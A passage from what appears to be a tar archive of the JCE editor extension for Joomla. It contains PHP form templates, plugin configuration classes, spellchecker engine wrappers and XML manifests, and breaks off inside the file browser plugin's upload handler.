                <label for="border_width" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left" title="<?php echo Text::_('WF_LABEL_BORDER_WIDTH_DESC'); ?>"><?php echo Text::_('WF_LABEL_WIDTH'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <input type="text" pattern="[0-9]+" id="border_width" class="uk-datalist" list="border_width_datalist" />
                    <datalist id="border_width_datalist">
                        <option value="">--</option>
                        <option value="0">0</option>
                        <option value="1">1</option>
                        <option value="2">2</option>
                        <option value="3">3</option>
                        <option value="4">4</option>
                        <option value="5">5</option>
                        <option value="6">6</option>
                        <option value="7">7</option>
                        <option value="8">8</option>
                        <option value="9">9</option>
                        <option value="thin"><?php echo Text::_('WF_OPTION_BORDER_THIN'); ?></option>
                        <option value="medium"><?php echo Text::_('WF_OPTION_BORDER_MEDIUM'); ?></option>
                        <option value="thick"><?php echo Text::_('WF_OPTION_BORDER_THICK'); ?></option>
                    </datalist>
                </div>

                <label for="border_style" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left" title="<?php echo Text::_('WF_LABEL_BORDER_STYLE_DESC'); ?>"><?php echo Text::_('WF_LABEL_STYLE'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <select id="border_style">
                        <option value="inherit">--</option>
                        <option value="none"><?php echo Text::_('WF_OPTION_BORDER_NONE'); ?></option>
                        <option value="solid"><?php echo Text::_('WF_OPTION_BORDER_SOLID'); ?></option>
                        <option value="dashed"><?php echo Text::_('WF_OPTION_BORDER_DASHED'); ?></option>
                        <option value="dotted"><?php echo Text::_('WF_OPTION_BORDER_DOTTED'); ?></option>
                        <option value="double"><?php echo Text::_('WF_OPTION_BORDER_DOUBLE'); ?></option>
                        <option value="groove"><?php echo Text::_('WF_OPTION_BORDER_GROOVE'); ?></option>
                        <option value="inset"><?php echo Text::_('WF_OPTION_BORDER_INSET'); ?></option>
                        <option value="outset"><?php echo Text::_('WF_OPTION_BORDER_OUTSET'); ?></option>
                        <option value="ridge"><?php echo Text::_('WF_OPTION_BORDER_RIDGE'); ?></option>
                    </select>
                </div>

                <label for="border_color" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left" title="<?php echo Text::_('WF_LABEL_BORDER_COLOR_DESC'); ?>"><?php echo Text::_('WF_LABEL_COLOR'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <input id="border_color" class="color" type="text" value="#000000" />
                </div>
            </div>
        </div>
    </div>
    <div class="uk-width-1-5 uk-hidden-small">
        <div class="preview">
            <img id="sample" src="<?php echo $this->plugin->image('sample.jpg', 'media'); ?>" alt="sample.jpg" />
            <?php echo Text::_('WF_LOREM_IPSUM'); ?>
        </div>
    </div>
</div>com_jce/editor/plugins/imgmanager/tmpl/rollover.php000060400000002100152453734450016553 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small">
	<label for="onmouseover" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_MOUSEOVER_DESC'); ?>">
		<?php echo Text::_('WF_LABEL_MOUSEOVER'); ?>
	</label>
	<div class="uk-form-controls uk-width-1-1 uk-width-small-7-10 uk-input-clear">
		<input id="onmouseover" type="text" value="" class="focus" />
	</div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
	<label for="onmouseout" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_MOUSEOUT_DESC'); ?>">
		<?php echo Text::_('WF_LABEL_MOUSEOUT'); ?>
	</label>
	<div class="uk-form-controls uk-width-1-1 uk-width-small-7-10 uk-input-clear">
		<input id="onmouseout" type="text" value="" autofocus />
	</div>
</div>com_jce/editor/plugins/styleselect/index.html000060400000000054152453734450015456 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/styleselect/styleselect.xml000060400000002351152453734450016545 0ustar00<?xml version="1.0" ?>
<extension type="plugin" group="jce" method="upgrade">
    <name>WF_STYLESELECT_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_STYLESELECT_DESC</description>
    <icon>styleselect</icon>
    <fields name="styleselect">
        <fieldset name="config">
            <field name="sort" type="yesno" default="1" label="WF_STYLESELECT_STYLES_SORT" description="WF_STYLESELECT_STYLES_SORT_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="preview_styles" type="yesno" default="1" label="WF_STYLESELECT_STYLES_PREVIEW_STYLES" description="WF_STYLESELECT_STYLES_PREVIEW_STYLES_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <help></help>
    <languages></languages>
</extension>com_jce/editor/plugins/styleselect/config.php000060400000001146152453734450015442 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;

class WFStyleselectPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();

        $settings['styleselect_sort'] = $wf->getParam('styleselect.sort', 1, 1);
        $settings['styleselect_preview_styles'] = $wf->getParam('styleselect.preview_styles', 1, 1);
    }
}
com_jce/editor/plugins/ui/config.php000060400000001175152453734450013521 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFUiPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();
        $settings['object_resizing'] = $wf->getParam('editor.object_resizing', 1);

        if ((int) $settings['object_resizing'] === 0) {
            $settings['object_resizing'] = false;
        } else {
            $settings['object_resizing'] = '';
        }
    }
}
com_jce/editor/plugins/ui/index.html000060400000000054152453734450013533 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/spellchecker/index.html000060400000000054152453734450015562 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/spellchecker/classes/spellchecker.php000060400000003225152453734450020402 0ustar00<?php
/**
 * @author Moxiecode
 * @copyright Copyright (c) 2004-2007, Moxiecode Systems AB, All rights reserved
 */
class SpellChecker
{
    public function __construct()
    {
    }

    /**
     * Constructor.
     *
     * @param $config Configuration name/value array
     */
    public function SpellChecker(&$config)
    {
        $this->_config = $config;
    }

    /**
     * Simple loopback function everything that gets in will be send back.
     *
     * @param $args.. Arguments
     *
     * @return {Array} Array of all input arguments
     */
    protected function loopback( /* args.. */)
    {
        return func_get_args();
    }

    /**
     * Spellchecks an array of words.
     *
     * @param {String} $lang  Language code like sv or en
     * @param {Array}  $words Array of words to spellcheck
     *
     * @return {Array} Array of misspelled words
     */
    public function checkWords($lang, $words)
    {
        return $words;
    }

    /**
     * Returns suggestions of for a specific word.
     *
     * @param {String} $lang Language code like sv or en
     * @param {String} $word Specific word to get suggestions for
     *
     * @return {Array} Array of suggestions for the specified word
     */
    public function getSuggestions($lang, $word)
    {
        return array();
    }

    /**
     * Throws an error message back to the user. This will stop all execution.
     *
     * @param {String} $str Message to send back to user
     */
    protected function throwError($str)
    {
        die('{"result":null,"id":null,"error":{"errstr":"' . addslashes($str) . '","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
    }
}
com_jce/editor/plugins/spellchecker/classes/enchantspell.php000060400000004361152453734450020420 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */

require_once __DIR__ . '/spellchecker.php';

class Enchantspell extends SpellChecker
{
    /**
     * Spellchecks an array of words.
     *
     * @param string $lang  Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1
     * @param array  $words Array of words to check
     *
     * @return array of misspelled words
     */
    public function checkWords($lang, $words)
    {
        $r = enchant_broker_init();

        if (enchant_broker_dict_exists($r, $lang)) {
            $d = enchant_broker_request_dict($r, $lang);

            $returnData = array();
            foreach ($words as $key => $value) {
                $correct = enchant_dict_check($d, $value);
                if (!$correct) {
                    $returnData[] = trim($value);
                }
            }

            return $returnData;
            enchant_broker_free_dict($d);
        } else {
            $this->throwError('Language not installed');
        }
        enchant_broker_free($r);
    }

    /**
     * Returns suggestions for a specific word.
     *
     * @param string $lang Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1
     * @param string $word Specific word to get suggestions for
     *
     * @return array of suggestions for the specified word
     */
    public function getSuggestions($lang, $word)
    {
        $r = enchant_broker_init();
        $suggs = array();

        if (enchant_broker_dict_exists($r, $lang)) {
            $d = enchant_broker_request_dict($r, $lang);
            $suggs = enchant_dict_suggest($d, $word);

            enchant_broker_free_dict($d);
        } else {
            $this->throwError('Language not installed');
        }
        enchant_broker_free($r);

        return $suggs;
    }
}
com_jce/editor/plugins/spellchecker/classes/index.html000060400000000054152453734450017217 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/spellchecker/classes/pspell.php000060400000004645152453734450017244 0ustar00<?php

require_once __DIR__ . '/spellchecker.php';

/**
 * @author Moxiecode
 * @copyright Copyright (c) 2004-2007, Moxiecode Systems AB, All rights reserved
 */
class Pspell extends SpellChecker
{
    /**
     * Spellchecks an array of words.
     *
     * @param {String} $lang  Language code like sv or en
     * @param {Array}  $words Array of words to spellcheck
     *
     * @return {Array} Array of misspelled words
     */
    public function checkWords($lang, $words)
    {
        $plink = $this->getPLink($lang);

        $outWords = array();
        foreach ($words as $word) {
            if (!pspell_check($plink, trim($word))) {
                $outWords[] = utf8_encode($word);
            }
        }

        return $outWords;
    }

    /**
     * Returns suggestions of for a specific word.
     *
     * @param {String} $lang Language code like sv or en
     * @param {String} $word Specific word to get suggestions for
     *
     * @return {Array} Array of suggestions for the specified word
     */
    public function getSuggestions($lang, $word)
    {
        $words = pspell_suggest($this->getPLink($lang), $word);

        for ($i = 0; $i < count($words); ++$i) {
            $words[$i] = utf8_encode($words[$i]);
        }

        return $words;
    }

    /**
     * Opens a link for pspell.
     */
    private function getPLink($lang)
    {
        // Check for native PSpell support
        if (!function_exists('pspell_new')) {
            $this->throwError('PSpell support not found in PHP installation.');
        }

        $pspell_config = pspell_config_create(
            $lang,
            $this->_config['PSpell.spelling'],
            $this->_config['PSpell.jargon'],
            $this->_config['PSpell.encoding']
        );

        pspell_config_personal($pspell_config, $this->_config['PSpell.dictionary']);
        $plink = pspell_new_config($pspell_config);

        if (!$plink) {
            $this->throwError('No PSpell link found opened.');
        }

        return $plink;
    }
    /**
     * Add a word to the PSPell personal dictionary
     * From http://slack5.com/blog/2008/12/tinymce-add-to-dictionary/.
     *
     * @param object $lang
     * @param object $word
     *
     * @return
     */
    public function addToDictionary($lang, $word)
    {
        $plink = $this->getPLink($lang);
        pspell_add_to_personal($plink, $word);
        pspell_save_wordlist($plink);

        return true;
    }
}
com_jce/editor/plugins/spellchecker/config.php000060400000003464152453734450015553 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFSpellcheckerPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();
        $engine = $wf->getParam('spellchecker.engine', 'browser', 'browser');

        switch ($engine) {
            default:
            case 'browser':
            case 'googlespell':
                $languages = '';

                $settings['spellchecker_browser_state'] = $wf->getParam('spellchecker.browser_state', 0, 0);

                $engine = 'browser';

                break;

            case 'pspell':
            case 'pspellshell':
                $languages = (array) $wf->getParam('spellchecker.languages', 'English=en', '');

                if ($engine === 'pspellshell') {
                    $engine = 'pspell';
                }

                if (!function_exists('pspell_new')) {
                    $engine = 'browser';
                }

                break;
            case 'enchantspell':
                $languages = (array) $wf->getParam('spellchecker.languages', 'English=en', '');

                if (!function_exists('enchant_broker_init')) {
                    $engine = 'browser';
                }
                break;
        }

        if (!empty($languages)) {
            $settings['spellchecker_languages'] = '+' . implode(',', $languages);
        }

        // only needs to be set if not "browser"
        if ($engine !== "browser") {
            $settings['spellchecker_engine'] = $engine;

            $settings['spellchecker_suggestions'] = $wf->getParam('spellchecker.suggestions', 1, 1);
        }
    }
}
com_jce/editor/plugins/spellchecker/spellchecker.php000060400000005373152453734450016753 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFSpellCheckerPlugin extends WFEditorPlugin
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $engine = $this->getEngine();

        if (!$engine) {
            self::error('No Spellchecker Engine available');
        }

        $request = WFRequest::getInstance();

        // Setup plugin XHR callback functions
        $request->setRequest(array($engine, 'checkWords'));
        $request->setRequest(array($engine, 'getSuggestions'));
        $request->setRequest(array($engine, 'ignoreWord'));
        $request->setRequest(array($engine, 'ignoreWords'));
        $request->setRequest(array($engine, 'learnWord'));
    }

    private function getConfig()
    {
        static $config;

        if (empty($config)) {

            $config = array(
                // PSpell settings
                'PSpell.mode' => $this->getParam('spellchecker.pspell_mode', 'PSPELL_FAST'),
                'PSpell.spelling' => $this->getParam('spellchecker.pspell_spelling', ''),
                'PSpell.jargon' => $this->getParam('spellchecker.pspell_jargon', ''),
                'PSpell.encoding' => $this->getParam('spellchecker.pspell_encoding', ''),
                'PSpell.dictionary' => JPATH_BASE . '/' . $this->getParam('spellchecker.pspell_dictionary', ''),
            );
        }

        return $config;
    }

    private function getEngine()
    {
        static $instance;

        if (!is_object($instance)) {
            $classname = '';
            $config = array();

            $engine = $this->getParam('spellchecker.engine', 'browser', 'browser');

            if (($engine === 'pspell' || $engine === 'pspellshell') && function_exists('pspell_new')) {
                $classname = 'PSpell';

                $config = $this->getConfig();
            }

            if ($engine === 'enchantspell' && function_exists('enchant_broker_init')) {
                $classname = 'Enchantspell';
            }

            if (!empty($classname)) {
                $file = __DIR__ . '/classes/' . strtolower($classname) . '.php';

                if (is_file($file)) {
                    require_once $file;
                    $instance = new $classname($config);
                }
            }
        }

        return $instance;
    }

    private static function error($str)
    {
        die('{"result":null,"id":null,"error":{"errstr":"' . addslashes($str) . '","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
    }
}
com_jce/editor/plugins/spellchecker/spellchecker.xml000060400000010257152453734450016761 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_SPELLCHECKER_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_SPELLCHECKER_DESC</description>
    <icon>spellchecker</icon>
    <fields name="spellchecker">
        <fieldset name="config">
            <field name="engine" type="list" default="browser" label="WF_SPELLCHECKER_PARAM_ENGINE" description="WF_SPELLCHECKER_PARAM_ENGINE_DESC">
                <option value="browser">WF_SPELLCHECKER_PARAM_BROWSER</option>
                <option value="pspell">WF_SPELLCHECKER_PARAM_PSPELL_PHP</option>
                <option value="enchantspell">WF_SPELLCHECKER_PARAM_ENCHANT</option>
            </field>

            <field name="browser_state" type="yesno" default="0" label="WF_OPTION_STATE" description="WF_SPELLCHECKER_BROWSER_STATE_DESC" showon="engine:browser">
                <option value="0">JOFF</option>
                <option value="1">JON</option>
            </field>

            <field name="suggestions" type="yesno" default="1" label="WF_SPELLCHECKER_SUGGESTIONS" description="WF_SPELLCHECKER_SUGGESTIONS_DESC" showon="engine!:browser">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <!--param name="googlespell_languages" type="list" class="checklist sortable" multiple="multiple" default="English=en" label="WF_SPELLCHECKER_PARAM_LANGUAGES" description="WF_SPELLCHECKER_PARAM_GOOGLESPELL_LANGUAGES_DESC" parent="engine[googlespell]">
            <option value="English=en">English</option>
            <option value="Danish=da">Danish</option>
            <option value="Dutch=nl">Dutch</option>
            <option value="Finnish=fi">Finnish</option>
            <option value="French=fr">French</option>
            <option value="German=de">German</option>
            <option value="Italian=it">Italian</option>
            <option value="Polish=pl">Polish</option>
            <option value="Portuguese=pt">Portuguese(BR)</option>
            <option value="Spanish=es">Spanish</option>
            <option value="Swedish=sv">Swedish</option>
        </param-->

            <field name="languages" type="text" size="100" default="English=en" label="WF_SPELLCHECKER_PARAM_LANGUAGES" description="WF_SPELLCHECKER_PARAM_LANGUAGES_DESC" showon="engine!:browser" />
            <field name="pspell_mode" type="text" default="PSPELL_FAST" label="WF_SPELLCHECKER_PARAM_PSPELL_MODE" description="WF_SPELLCHECKER_PARAM_PSPELL_MODE_DESC" showon="engine:pspell" />
            <field name="pspell_spelling" type="text" default="" label="WF_SPELLCHECKER_PARAM_PSPELL_SPELLING" description="WF_SPELLCHECKER_PARAM_PSPELL_SPELLING_DESC" showon="engine:pspell" />
            <field name="pspell_jargon" type="text" default="" label="WF_SPELLCHECKER_PARAM_PSPELL_JARGON" description="WF_SPELLCHECKER_PARAM_PSPELL_JARGON_DESC" showon="engine:pspell" />
            <field name="pspell_encoding" type="text" default="" label="WF_SPELLCHECKER_PARAM_PSPELL_ENCODING" description="WF_SPELLCHECKER_PARAM_PSPELL_ENCODING_DESC" showon="engine:pspell" />
            <field name="pspell_dictionary" type="text" size="100" default="components/com_jce/editor/tiny_mce/plugins/spellchecker/dictionary.pws" label="WF_SPELLCHECKER_PARAM_PSPELL_DICTIONARY" description="WF_SPELLCHECKER_PARAM_PSPELL_DICTIONARY_DESC" showon="engine:pspell" />
            <field name="pspellshell_aspell" type="text" default="/usr/bin/aspell" label="WF_SPELLCHECKER_PARAM_PSPELLSHELL" description="WF_SPELLCHECKER_PARAM_PSPELLSHELL_DESC" showon="engine:pspell" />
            <field name="pspellshell_tmp" type="text" default="/tmp" label="WF_SPELLCHECKER_PARAM_PSPELLSHELL_TMP" description="WF_SPELLCHECKER_PARAM_PSPELLSHELL_TMP_DESC" showon="engine:pspell" />
        </fieldset>
    </fields>
</extension>
com_jce/editor/plugins/browser/index.html000060400000000054152453734450014601 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/browser/config.php000060400000000577152453734450014574 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFBrowserPluginConfig
{
    public static function getConfig(&$settings)
    {
        $settings['file_browser_callback'] = '';
    }
}
com_jce/editor/plugins/browser/browser.php000060400000034564152453734450015015 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

class WFBrowserPlugin extends WFMediaManager
{
    /*
     * @var string
     */
    protected $_filetypes = 'doc,docx,dot,dotx,ppt,pps,pptx,ppsx,xls,xlsx,gif,jpeg,jpg,png,webp,apng,avif,pdf,zip,tar,gz,swf,rar,mov,mp4,m4a,flv,mkv,webm,ogg,ogv,qt,wmv,asx,asf,avi,wav,mp3,aiff,oga,odt,odg,odp,ods,odf,rtf,txt,csv';

    private function isMediaField()
    {
        $app = Factory::getApplication();
        return $app->input->getInt('standalone') && $app->input->getString('mediatype') && $app->input->getCmd('fieldid', $app->input->getCmd('element', ''));
    }

    /**
     * Get a parameter by key.
     *
     * @param string $key        Parameter key eg: editor.width
     * @param mixed  $fallback   Fallback value
     * @param mixed  $default    Default value
     * @param string $type       Variable type eg: string, boolean, integer, array
     *
     * @return mixed
     */
    public function getParam($key, $fallback = '', $default = '', $type = 'string')
    {
        $wf = WFApplication::getInstance();

        $value = parent::getParam($key, $fallback, $default, $type);

        // get all keys
        $keys = explode('.', $key);

        // get caller if any
        $caller = $this->get('caller');

        // create new namespaced key
        if ($caller && ($keys[0] === $caller || count($keys) == 1)) {
            // create new key
            $key = $caller . '.' . 'browser' . '.' . array_pop($keys);
            // get namespaced value, fallback to base parameter
            $value = $wf->getParam($key, $value, $default, $type);
        }

        return $value;
    }

    public function __construct($config = array())
    {
        $app = Factory::getApplication();

        $config = array(
            'layout' => 'browser',
            'can_edit_images' => 1,
            'show_view_mode' => 1,
        );

        parent::__construct($config);

        $browser = $this->getFileBrowser();

        // get mediatype from xml
        $mediatypes = $app->input->getString('mediatype', $app->input->getString('filter', 'files'));

        if ($mediatypes) {
            // add upload event
            $browser->addEvent('onUpload', array($this, 'onUpload'));

            // clean and lowercase filter value
            $mediatypes = (string) preg_replace('/[^\w_,]/i', '', strtolower($mediatypes));

            // get filetypes from params
            $filetypes = $this->getParam('extensions', $this->get('_filetypes'));

            // map to comma seperated list
            $filetypes = $browser->getFileTypes('list', $filetypes);

            $accept = explode(',', $filetypes);

            $map = array(
                'images' => array('jpg', 'jpeg', 'png', 'apng', 'gif', 'webp', 'avif'),
                'media' => array('avi', 'wmv', 'wm', 'asf', 'asx', 'wmx', 'wvx', 'mov', 'qt', 'mpg', 'mpeg', 'm4a', 'm4v', 'swf', 'dcr', 'rm', 'ra', 'ram', 'divx', 'mp4', 'ogv', 'ogg', 'webm', 'flv', 'f4v', 'mp3', 'ogg', 'wav', 'xap'),
                'documents' => array('doc', 'docx', 'odg', 'odp', 'ods', 'odt', 'pdf', 'ppt', 'pptx', 'txt', 'xcf', 'xls', 'xlsx', 'csv'),
                'html' => array('html', 'htm', 'txt', 'md'),
                'files' => $accept, // “files” == everything allowed
            );

            // add svg support to images if it is allowed in filetypes
            if (in_array('svg', $accept)) {
                $map['images'][] = 'svg';
            }

            // explode the mediatypes
            $mediatypes = explode(',', $mediatypes);

            // selected filetypes
            $selected = array();

            foreach ($mediatypes as $mediatype) {
                // trim the value
                $mediatype = trim($mediatype);

                // strtolower the value
                $mediatype = strtolower($mediatype);
                
                // mediaypes contains a mapped type
                if (array_key_exists($mediatype, $map)) {
                    // process the map to filter permitted extensions
                    /*array_walk($map, function (&$items, $key) use ($accept) {
                        $values = array_intersect($items, $accept);
                        $items = empty($values) ? [] : $values;
                    });*/

                    //$selected = $map[$mediatype];

                    $selected = array_values(array_intersect($map[$mediatype], $accept));
                } else {
                    if (in_array($mediatype, $accept, true)) {
                        // add the mediatype to the selected filetypes
                        $selected[] = $mediatype;
                    }
                }
            }

            // remove duplicates
            $selected = array_values(array_unique($selected));

            // set updated filetypes
            $this->setFileTypes(implode(',', $selected));
        }

        $folder = $this->getMediaFolder();

        if ($folder) {
            // process any variables in the path
            $path = $browser->getFileSystem()->toRelative($folder, false);

            if ($browser->checkPathAccess($path)) {
                // set new path for browser
                $browser->set('source', $folder);
            }
        }
    }

    private function getMediaFolder()
    {
        $app = Factory::getApplication();

        $folder = $app->input->getString('mediafolder', '');

        if ($folder) {
            // trim the path of leading : if any
            $folder = trim($folder, ':');

            // trim the path of leading and trailing /
            $folder = trim($folder, '/');
        
            // clean
            $folder = WFUtility::cleanPath($folder);

            // split by / and each part "safe"
            $parts = explode('/', $folder);

            foreach ($parts as $key => $part) {
                $parts[$key] = WFUtility::makeSafe($part);
            }

            // rejoin parts
            $folder = implode('/', $parts);

            // clean path again
            $folder = WFUtility::cleanPath($folder);

            // still intact after clean?
            if ($folder) {
                $browser = $this->getFileBrowser();

                // check this path is within an existing store
                $store = $browser->getDirectoryStoreFromPath($folder);

                if (!empty($store)) {
                    // check path exists
                    if ($browser->getFileSystem()->is_dir($folder)) {
                        return $folder;
                    }
                }
            }
        }

        return '';
    }

    /**
     * Normalize a Joomla Media Field path
     *
     * @param  string   $folder
     *
     * @return string
     */
    private function normalizeLocalJoomlaFolder($folder)
    {
        if (empty($folder)) {
            return '';
        }

        $folder = rawurldecode($folder);

        // shouldn't be an absoute URL so return empty string
        if (strpos($folder, '://') !== false) {
            return '';
        }

        // default scheme and path
        $scheme = 'local-images';
        $path = $folder;

        $pos = strpos($folder, ':');

        if ($pos !== false) {
            $scheme = substr($folder, 0, $pos);
            $path = trim(substr($folder, $pos + 1), " \t\n\r\0\x0B/");
        }

        $map = array(
            'local-images' => 'images',
            'local-files' => 'files',
        );

        // map the scheme to a root folder
        $root = isset($map[$scheme]) ? $map[$scheme] : 'images';

        // trim to remove slashes
        $path = trim($path, '/');

        // concatenate the path with the mapped folder
        $folder = $root . '/' . $path;

        // trim to remove slashes
        $folder = trim($folder, '/');

        return $folder;
    }

    /**
     * Update the File Browser configuration with the current media folder.
     *
     * @param array $config Configuration array to update.
     * @return array $config Updated configuration array.
     */
    protected function getFileBrowserConfig($config = array())
    {
        $app = Factory::getApplication();

        $config = parent::getFileBrowserConfig($config);

        // update folder path if a value is passed from a mediafield url
        if ($this->isMediaField()) {
            // get the mediafolder value from a JCE Media Field if any
            $folder = $app->input->getString('mediafolder', '');

            $folder = trim(rawurldecode($folder));

            $prefix = '';

            // check if this is a root folder by looking for a : character at the start of the path value
            $isRootFolder = strpos($folder, ':') === 0;

            // trim the path of leading : if any
            $folder = trim($folder, ':');

            // trim the path of leading and trailing /
            $folder = trim($folder, '/');

            if (empty($config['dir'])) {
                $root = array('path' => '');
            } else {
                if ($isRootFolder) {
                    if (!empty($folder)) {
                        $tmpPath = $folder . '/';

                        foreach ($config['dir'] as $key => $store) {
                            $base = trim($store['path'], '/');

                            // strip any variable segments (eg: $usergroup) to get the comparable literal prefix
                            $literalBase = trim(preg_replace('/\/?\$.*$/', '', $base), '/');

                            // check if the folder is within this directory store path
                            if (!empty($literalBase) && ($folder === $literalBase || strpos($tmpPath, $literalBase . '/') === 0)) {
                                $hash = md5($folder);

                                $config['dir'] = array(
                                    $hash => array(
                                        'label' => '',
                                        'path'  => $folder,
                                    ),
                                );

                                return $config;
                            }
                        }
                    }

                    // no match found - fall through and treat as relative to dir value
                }

                // get the first directory store prefix
                $prefix = key($config['dir']);
                // get the first directory store
                $root = reset($config['dir']);
            }

            if ($app->input->getInt('converted', 0) === 1) {
                // get the path from a converted media field
                $folder = $app->input->getString('path', $app->input->getString('folder', '')); // include "folder" for Joomla 3

                // normalize the folder path of Joomla Media Field, creating a local path, eg: local-images:/folder/subfolder => images/folder/subfolder
                $folder = $this->normalizeLocalJoomlaFolder($folder);

                if ($folder) {
                    $tmpPath = $folder . '/';

                    foreach ($config['dir'] as $key => $store) {
                        $base = trim($store['path'], '/');

                        // check if the folder is within any directory store path
                        if ($tmpPath === $base || strpos($tmpPath, $base . '/') === 0) {
                            $root['path'] = $tmpPath;
                            break;
                        }
                    }

                    // reset folder
                    $folder = '';
                }
            }

            $path = WFUtility::makePath($root['path'], $folder);
            $path = trim($path, '/');

            if (empty($prefix)) {
                $hash = md5($path);
            } else {
                $hash = $prefix;
            }

            $config['dir'] = array(
                $hash => array(
                    'label' => '',
                    'path' => $path,
                ),
            );
        }

        return $config;
    }

    public function setFileTypes($filetypes = '')
    {
        // get file browser reference
        $browser = $this->getFileBrowser();

        // set updated filetypes
        $browser->setFileTypes($filetypes);
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $app = Factory::getApplication();

        $document = WFDocument::getInstance();
        $slot = $app->input->getCmd('slot', 'plugin');

        // update some document variables
        $document->setName('browser');
        $document->setTitle(Text::_('WF_BROWSER_TITLE'));

        if ($document->get('standalone') == 1) {
            if ($slot === 'plugin') {
                $document->addScript(array('window.min'));

                $callback = $app->input->getCmd('callback', '');
                $element = $app->input->getCmd('fieldid', 'field-media-id');

                // Joomla 4 field variable not converted
                if ($element == 'field-media-id') {
                    $element = $app->input->getCmd('element', '');
                }

                $settings = array(
                    'site_url' => Uri::base(true) . '/',
                    'document_base_url' => Uri::root(),
                    'language' => WFLanguage::getCode(),
                    'element' => $element,
                    'token' => Session::getFormToken(),
                );

                if ($callback) {
                    $settings['callback'] = $callback;
                }

                $document->addScriptDeclaration('tinymce.settings=' . json_encode($settings) . ';');
            }

            $document->addScript(array('popup.min'), 'plugins');
            $document->addStyleSheet(array('browser.min'), 'plugins');
        }

        if ($slot === 'plugin') {
            $document->addScript(array('browser'), 'plugins');
        }
    }

    public function onUpload($file, $relative = '')
    {
        $app = Factory::getApplication();

        parent::onUpload($file, $relative);

        // inline upload
        if ($app->input->getInt('inline', 0) === 1) {
            $result = array(
                'file' => $relative,
                'name' => basename($file),
            );

